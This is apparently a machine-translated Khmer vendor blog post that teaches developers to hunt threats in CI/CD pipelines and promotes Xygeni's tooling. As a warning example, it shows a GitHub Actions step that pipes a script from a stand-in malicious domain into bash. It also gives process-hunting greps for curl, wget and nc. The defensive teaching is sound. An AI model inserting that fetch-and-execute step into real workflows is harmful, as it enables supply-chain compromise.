ការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិត - អ្នកប្រមាញ់ការគំរាមកំហែង

ការប្រមាញ់ការគំរាមកំហែង៖ អ្វីដែលអ្នកអភិវឌ្ឍន៍គ្រប់រូបគួររៀនពីអ្នកប្រមាញ់ការគំរាមកំហែង

ហេតុអ្វីបានជាការប្រមាញ់ការគំរាមកំហែងមានសារៈសំខាន់នៅក្នុងការអភិវឌ្ឍន៍ មិនត្រឹមតែក្រុមសន្តិសុខប៉ុណ្ណោះទេ

ក្រុមអភិវឌ្ឍន៍ភាគច្រើននៅតែពឹងផ្អែកលើការជូនដំណឹង SOC និងឧបករណ៍សុវត្ថិភាពខាងក្រៅដើម្បីរកមើលការគំរាមកំហែង។ ប៉ុន្តែការរកឃើញការគំរាមកំហែងកំពុងវិវឌ្ឍ ហើយការប្រមាញ់ការគំរាមកំហែងលែងជាកម្មសិទ្ធិរបស់អ្នកវិភាគសន្តិសុខទៀតហើយ។ ការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតកំពុងក្លាយជាជំនាញដែលអ្នកអភិវឌ្ឍន៍ត្រូវយកមកប្រើប្រាស់ក្នុងដំណើរការការងារផ្ទាល់ខ្លួនរបស់ពួកគេ។

ហេតុអ្វី? ដោយសារតែ​ភ្នាក់ងារ​គំរាមកំហែង​កំពុង​កេងប្រវ័ញ្ច​កាន់តែខ្លាំងឡើងៗ​នូវ​បច្ចេកវិទ្យា DevOps stack កញ្ចប់ដែលរងការគំរាមកំហែង, ស្វ័យប្រវត្តិកម្មក្លែងក្លាយ និង សញ្ញាសម្ងាត់ដែលប្រើប្រាស់ខុសហើយសញ្ញាទាំងនោះកម្រនឹងបង្កឱ្យមានការជូនដំណឹងសុវត្ថិភាពបែបប្រពៃណីណាស់។ កាលណាអ្នកប្រមាញ់ការគំរាមកំហែងរកឃើញបញ្ហាទាំងនេះកាន់តែឆាប់ ក្រុមកាន់តែអាចបញ្ឈប់ឧប្បត្តិហេតុពិតប្រាកដបានលឿនជាងមុន។

ចន្លោះប្រហោងពិតប្រាកដលេចឡើងនៅក្នុង៖

  • CI/CD ការងារដែលដំណើរការប្រព័ន្ធគោលពីរដែលមិនស្គាល់ដោយស្ងាត់ៗ
  • ភាពអាស្រ័យដែលត្រូវបានជំនួសនៅក្នុង pull requests
  • អាថ៌កំបាំងបរិស្ថានត្រូវបានប្រើនៅក្នុងសាខាគួរឱ្យសង្ស័យ

ទាំងនេះមិនមែនជាបញ្ហាក្រុមសន្តិសុខទេ; ពួកវាជាការពិតរបស់អ្នកអភិវឌ្ឍន៍។ ហើយនេះជាកន្លែងដែលការប្រមាញ់ការគំរាមកំហែងត្រូវតែចាប់ផ្តើម៖ នៅខាងក្នុងកូដ pipelineនិងបរិយាកាសអភិវឌ្ឍន៍។ អ្នកអភិវឌ្ឍន៍ដែលប្រកាន់យកផ្នត់គំនិតប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតក្លាយជាអ្នកប្រមាញ់ការគំរាមកំហែងដំបូង និងល្អបំផុតនៅក្នុងក្រុម។

របៀបដែលអ្នកប្រមាញ់ការគំរាមកំហែងរកឃើញសញ្ញាខ្សោយដែលអ្នកដទៃមិនអើពើ

អ្នកប្រមាញ់ការគំរាមកំហែងមិនរង់ចាំការជូនដំណឹងទេ។ ពួកគេស្វែងរកសញ្ញាខ្សោយ ការផ្លាស់ប្តូរបន្តិចបន្តួចដែលមិនត្រូវគ្នានឹងឥរិយាបថដែលរំពឹងទុក។ នៅក្នុងបរិបទនៃកូដ និង pipelineស, នេះមានន័យថា៖

សញ្ញាខ្សោយដែលអ្នកអភិវឌ្ឍន៍ដែលប្រែក្លាយជាអ្នកប្រមាញ់ការគំរាមកំហែងគួរតែរកឃើញ៖

  • ហាស​អាស្រ័យ​ដែល​បាន​ផ្លាស់ប្ដូរ​ដោយ​គ្មាន​ការ​បង្កើន​កំណែ
  • A curl ហៅ​ស្គ្រីប​សាកល្បង​ដែល​មិន​មាន​កាលពីម្សិលមិញ
  • A សកម្មភាព GitHub ដែលរត់ភ្លាមៗ chmod + x នៅលើឯកសារដែលបានទាញយក
  • A ថូខឹន JWT ប្រើប្រាស់ក្នុងការងារដែលនៅក្រៅវិសាលភាពដែលបានគ្រោងទុក

⚠️ការព្រមាន៖ ជំហាននេះដំណើរការស្គ្រីបសែលពីដែនខាងក្រៅដោយមិនចាំបាច់ផ្ទៀងផ្ទាត់។ វាបង្កឱ្យមានហានិភ័យគួរឱ្យកត់សម្គាល់។

				
					# suspicious GitHub Actions step
- name: Inject secrets
run: |
curl http://malicious-domain.com/payload.sh | bash

				
			

នេះនឹងមិនបង្កឱ្យមានច្បាប់សុវត្ថិភាពបែបប្រពៃណីទេ។ ប៉ុន្តែអ្នកប្រមាញ់ការគំរាមកំហែងមើលឃើញភាពមិនប្រក្រតី៖ ហេតុអ្វីបានជាបន្ទុកខាងក្រៅត្រូវបានប្រតិបត្តិនៅក្នុង CI? តើនៅឯណា? curl បញ្ជាមកពីណា? ផ្នត់គំនិតនេះ ដែលតាមដានអ្វីដែលមិននឹកស្មានដល់ បង្កើតភាពខុសគ្នា។ ការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតនៅក្នុងកូដមានន័យថា ការពិនិត្យមើលកំណត់ហេតុ ភាពខុសគ្នា និងឥរិយាបថដោយភ្នែកដ៏រិះគន់។

ការអនុវត្តការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតនៅខាងក្នុង CI/CD និងកុងតឺន័រ

អ្នកអភិវឌ្ឍន៍អាចសម្របបច្ចេកទេសប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតដោយផ្ទាល់នៅខាងក្នុង CI/CD និងលំហូរការងារកុងតឺន័រ។ បរិស្ថានទាំងនេះងាយនឹងរងការរំលោភបំពាន ហើយអ្នកវាយប្រហារពឹងផ្អែកលើការពិតដែលថាអ្នកអភិវឌ្ឍន៍មិនបានមើល។

បច្ចេកទេសប្រមាញ់ការគំរាមកំហែងជាក់ស្តែងសម្រាប់អ្នកអភិវឌ្ឍន៍៖

  • ការរកឃើញការប្រើប្រាស់ខុសនៃសញ្ញាសម្ងាត់៖ កំណត់ហេតុសវនកម្មសម្រាប់អាថ៌កំបាំងដែលប្រើក្នុងការងារដែលមិននឹកស្មានដល់ ឬដោយអ្នកប្រើប្រាស់ដែលគ្មានការអនុញ្ញាត។
  • ការប្រតិបត្តិដំណើរការដែលមិនបានរំពឹងទុកតាមដានការងារដែលកំពុងដំណើរការពាក្យបញ្ជាដូចជា bash, wget, curl, chmodncជាពិសេសពីប្រភពដែលមិនស្គាល់។
  • ភាពអាស្រ័យ រំខានប្រៀបធៀប​ភាពអាស្រ័យ​ពេល​សាងសង់​ជាមួយ​នឹង​ហាស​ដែល​បាន​អនុម័ត​ជាមុន។ ឯកសារ Diff lock និង​ថត​ឯកសារ​អ្នក​លក់។

⚠️ព្រមាន: ពាក្យបញ្ជាខាងក្រោមមិនគួរលេចឡើងក្នុងអំឡុងពេលភារកិច្ចសាងសង់ធម្មតាទេ។ ប្រសិនបើពួកវាលេចឡើង សូមស៊ើបអង្កេតភ្លាមៗ។

				
					# hunting for unexpected processes inside a container
ps aux | grep -E 'wget|curl|nc|sh'

				
			

⚠️ព្រមាន: ឥរិយាបថមិនប្រក្រតីដូចជាកំណត់ហេតុ JSON នេះអាចបង្ហាញពីសកម្មភាពដែលគ្មានការអនុញ្ញាត ឬការចាក់ស្គ្រីប។

				
					{
"job": "build-app",
"command": "curl https://weird-domain.net",
"time": "2024-08-21T10:23:00Z"
}

				
			

អ្នកប្រមាញ់ការគំរាមកំហែងនឹងស៊ើបអង្កេតពីមូលហេតុដែលពាក្យបញ្ជានេះត្រូវបានណែនាំ ហើយតាមដានវាទៅជាក់លាក់ណាមួយ commit ឬស្គ្រីប។ នេះគឺជាឥរិយាបថប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតបែបបុរាណ ដោយរកឃើញការប្រើប្រាស់ខុសមុនពេលវាក្លាយជាការកេងប្រវ័ញ្ច។

ការបង្កប់វាទៅក្នុងការអនុវត្ត DevSecOps

គោលដៅមិនមែនដើម្បីពិនិត្យឡើងវិញដោយដៃនូវកំណត់ហេតុនីមួយៗ ឬ commitគោលដៅគឺដើម្បីបង្កប់តក្កវិជ្ជាប្រមាញ់ការគំរាមកំហែងដោយផ្ទាល់ទៅក្នុងរបស់អ្នក លំហូរការងារ DevSecOps.

របៀបដំណើរការការប្រមាញ់ការគំរាមកំហែង៖

  • ការកត់ត្រាដែលមានរចនាសម្ព័ន្ធចាប់យកការប្រតិបត្តិពាក្យបញ្ជា ការផ្លាស់ប្តូរស្គ្រីប និងការហៅទូរស័ព្ទបណ្តាញដែលមិនបានរំពឹងទុក។
  • Pipeline ការរកឃើញភាពមិនធម្មតា: ការជូនដំណឹងអំពីគម្លាតពី pipeline មូលដ្ឋានទិន្នន័យ ឧទាហរណ៍ ប្រព័ន្ធគោលពីរថ្មី អាថ៌កំបាំងដែលបានកែប្រែ ឬការហៅទូរស័ព្ទភាគីទីបីថ្មី។
  • ការផ្ទៀងផ្ទាត់ឥរិយាបថគួរឱ្យសង្ស័យ៖ បន្ថែមការត្រួតពិនិត្យសុខភាព ឬច្រកអនុម័តសម្រាប់ការពឹងផ្អែកថ្មី ឬការផ្លាស់ប្តូរការងារដែលងាយរងគ្រោះ។

សូមគិតថាវាជាការរំកិលទៅខាងឆ្វេង ប៉ុន្តែជាមួយនឹងផ្នត់គំនិតជាអ្នកប្រមាញ់ការគំរាមកំហែង។ ការអនុវត្តល្អ៖ ប្រើការរកឃើញឋិតិវន្តដើម្បីសម្គាល់ពាក្យបញ្ជាដែលមានហានិភ័យជាមុន។

				
					- name: Check for unexpected curl usage
run: |
grep -r 'curl' .github/workflows/ || echo "No curl found"

				
			

ការផ្គូផ្គងលំនាំសាមញ្ញអាចសម្គាល់ភាពមិនប្រក្រតីបានទាន់ពេលវេលា និងគាំទ្រដល់ការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតដោយមិនបន្ថែមភាពយឺតយ៉ាវទៅក្នុងការសាងសង់។

ការបរបាញ់គំរាមកំហែងតាមមាត្រដ្ឋានជាមួយ Xygeni នៅទូទាំងកូដ និង Pipelines

ការប្រមាញ់ការគំរាមកំហែងដោយដៃមានប្រសិទ្ធភាព ប៉ុន្តែវាមិនមានទំហំទេ។ នោះហើយជាកន្លែងដែល ស៊ីហ្គេនី ចូល​មក។ Xygeni ផ្តល់អំណាចដល់អ្នកអភិវឌ្ឍន៍ឱ្យ៖

  • តាមដានការប្រតិបត្តិដំណើរការដែលមិនបានរំពឹងទុកនៅទូទាំង CI/CD pipelines
  • រកឃើញការប្រើប្រាស់គួរឱ្យសង្ស័យនៃថូខឹន ឬការពឹងផ្អែកដែលបានកែប្រែ
  • កំណត់អត្តសញ្ញាណសញ្ញានៃការគំរាមកំហែងតាមអ៊ីនធឺណិតនៅទូទាំងឃ្លាំង និងកុងតឺន័រ
  • បង្កើត​មូលដ្ឋាន​ដើម្បី​រក​ឃើញ​ឥរិយាបថ និង​ការ​គំរាមកំហែង​ថ្មីៗ​ក្នុង​ពេល​ជាក់ស្តែង
  • អនុញ្ញាតឱ្យអ្នកអភិវឌ្ឍន៍គ្រប់រូបដើរតួជាអ្នកប្រមាញ់ការគំរាមកំហែងជាមួយនឹងបរិបទស្វ័យប្រវត្តិ

មិនដូចឧបករណ៍ប្រពៃណីទេ Xygeni ព្យាបាលអ្នក pipelines និងកូដដូចជាគោលដៅលំដាប់ថ្នាក់ទីមួយសម្រាប់អ្នកវាយប្រហារ ហើយអនុញ្ញាតឱ្យអ្នកអភិវឌ្ឍន៍ស្វែងរកការគំរាមកំហែងនៅប្រភពដើមរបស់ពួកគេ។

ពីអ្នកអភិវឌ្ឍន៍ទៅជាអ្នកប្រមាញ់ការគំរាមកំហែង៖ តួនាទីរបស់អ្នកក្នុងការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិត

ការប្រមាញ់​ការគំរាមកំហែង​មិនមែន​សម្រាប់តែ SOC នោះទេ។ វា​សម្រាប់​អ្នកអភិវឌ្ឍន៍​គ្រប់រូប​ដែល​ជំរុញ​កូដ កំណត់រចនាសម្ព័ន្ធ... pipelineឬបញ្ចូលភាពអាស្រ័យចូលគ្នា។ ដើម្បីគិតដូចជាអ្នកប្រមាញ់ការគំរាមកំហែង អ្នកត្រូវ៖

  • តាមដានសញ្ញាខ្សោយដែលចង្អុលបង្ហាញពីការសម្របសម្រួល
  • បរបាញ់នៅក្នុងបរិស្ថានផ្ទាល់ខ្លួនរបស់អ្នក៖ ការងារ CI កំណត់ហេតុកុងតឺន័រ commit ខុសគ្នា
  • បង្កើតតក្កវិជ្ជារកឃើញទៅក្នុងដំណើរការការងាររបស់អ្នក មិនមែនជាការគិតទុកជាមុននោះទេ

ហើយជាមួយនឹងឧបករណ៍ដូចជា Xygeni អ្នកអាចធ្វើមាត្រដ្ឋានការប្រមាញ់ការគំរាមកំហែងតាមអ៊ីនធឺណិតនៅទូទាំងក្រុមរបស់អ្នក pipelines និង​ភាពអាស្រ័យ។

គិតដូចជាអ្នកវាយប្រហារ។ បរបាញ់ដូចជាអ្នកអភិវឌ្ឍន៍។

ឧបករណ៍វិភាគសមាសភាពកម្មវិធី sca
ផ្តល់អាទិភាព ដោះស្រាយ និងធានាសុវត្ថិភាពហានិភ័យផ្នែកទន់របស់អ្នក
ទទួលបានគណនីឥតគិតថ្លៃរបស់អ្នក។
មិនតម្រូវឱ្យមានកាតឥណទានទេ។

ធានាសុវត្ថិភាពនៃការអភិវឌ្ឍន៍ និងការដឹកជញ្ជូនកម្មវិធីរបស់អ្នក

ជាមួយឈុតផលិតផល Xygeni